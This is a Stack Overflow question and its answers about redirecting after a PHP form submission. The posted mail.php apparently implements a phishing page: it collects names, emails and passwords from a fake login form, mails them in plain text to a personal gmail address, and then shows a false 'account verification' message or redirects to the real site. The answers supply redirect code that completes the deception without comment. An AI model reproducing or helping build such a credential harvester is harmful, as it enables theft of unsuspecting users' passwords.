0

I am new to this and I am trying to learn how to code. After subimiting the login and pass and press login, I would like to redirect to another page on my website (index.php).

This is the mail.php code

<?php
$name = $_POST['name'];
$email = $_POST['email'];
$password = $_POST['password'];
$formcontent=" From: $name \n $password \n email: $email \n ";
$recipient = "myemail@gmail.com";
$subject = "Contact Form";
$mailheader = "From: $email \r\n";
mail($recipient, $subject, $formcontent, $mailheader, $password) or die("Error!");

if(isset($_POST['mail'])){
// Fetching variables of the form which travels in URL
$name = $_POST['name'];
$email = $_POST['email'];
$password = $_POST['password'];
if($name !=''&& $email !=''&& $password !='')
{
//  To redirect form on a particular page
header("Location:http://www.mywebsite.com");
}
else{
?><span><?php echo "Thank You! Your account verification was completed successfully";?></span> <?php
}
}
?>
John_West
  • 2,239
  • 4
  • 24
  • 44
  • Hi, could you be a bit more specific on the use case because using `header()` should do the work for the redirection. Thanks – Aymeric Feb 16 '16 at 11:41
  • So if I am just redirected, how would you recognize that I actually "logged in"? – Aziz Feb 16 '16 at 11:43
  • Please reduce your code to the necessary minimum. E.g. I don't see any relation between CSS and redirection. CSS could be omitted. – Mike Feb 16 '16 at 11:51
  • This has nothing to do with HTML, CSS or FONTS. – Paulie_D Feb 16 '16 at 12:06

3 Answers3

1

I would use the following code to redirect to a different page in PHP:

header( "refresh:3;url=index.php" );

The "3" will be a delay to send the user to another page. This can be set to whatever you like or you can remove this completely for an instant redirect.

Note: I would also recommend storing your logins within a session:

https://stackoverflow.com/a/10097986/5845530

or:

http://php.net/manual/en/function.session-start.php

Community
  • 1
  • 1
oneeach
  • 87
  • 1
  • 8
0

You can use php session or cookie, do you know anything about them?

dammy999
  • 11
  • 3
0

You can achieve that using JAVASCRIPT by print the javascript code as a text:

echo '<script type="text/javascript">
         window.location = "http://www.example.com/"
     </script>';
Tarek.hms
  • 1,243
  • 1
  • 10
  • 15
  • It won't let me add this, it says that is a code error in string < and i think this is too complicated for me to code in Java at the moment, i can't understand it :( – melissa eatoe Feb 16 '16 at 12:53
  • Finaly i managed to use this java text, everything is working perfect. Thank you for your feedback – melissa eatoe Feb 16 '16 at 13:14